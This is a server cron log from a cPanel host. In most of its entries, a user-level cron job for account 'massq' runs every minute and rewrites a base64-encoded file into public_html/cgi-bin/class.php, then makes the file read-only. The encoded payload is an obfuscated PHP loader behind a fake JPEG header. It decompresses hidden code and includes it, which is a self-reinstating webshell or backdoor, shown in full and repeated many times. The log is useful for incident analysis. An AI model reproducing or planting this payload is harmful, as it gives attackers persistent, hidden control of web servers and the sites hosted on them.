Apr  6 20:53:01 server CROND[10602]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 20:54:01 server CROND[10720]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 20:55:01 server CROND[10794]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  6 20:55:01 server CROND[10793]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 20:55:01 server CROND[10795]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  6 20:56:01 server CROND[11014]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 20:57:01 server CROND[11083]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr  6 20:57:01 server CROND[11084]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 20:58:01 server CROND[11150]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 20:59:01 server CROND[11211]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 21:00:01 server CROND[11278]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr  6 21:00:01 server CROND[11279]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  6 21:00:01 server CROND[11280]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  6 21:00:01 server CROND[11281]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 21:01:01 server CROND[11518]: (root) CMD (run-parts /etc/cron.hourly)
Apr  6 21:01:01 server CROND[11519]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 21:01:01 server run-parts(/etc/cron.hourly)[11518]: starting 0anacron
Apr  6 21:01:01 server run-parts(/etc/cron.hourly)[11531]: finished 0anacron
Apr  6 21:02:01 server CROND[11608]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 21:03:01 server CROND[11688]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 21:04:01 server CROND[11767]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 21:05:01 server CROND[11870]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  6 21:05:01 server CROND[11871]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr  6 21:05:01 server CROND[11872]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  6 21:05:01 server CROND[11874]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 21:06:01 server CROND[12096]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAo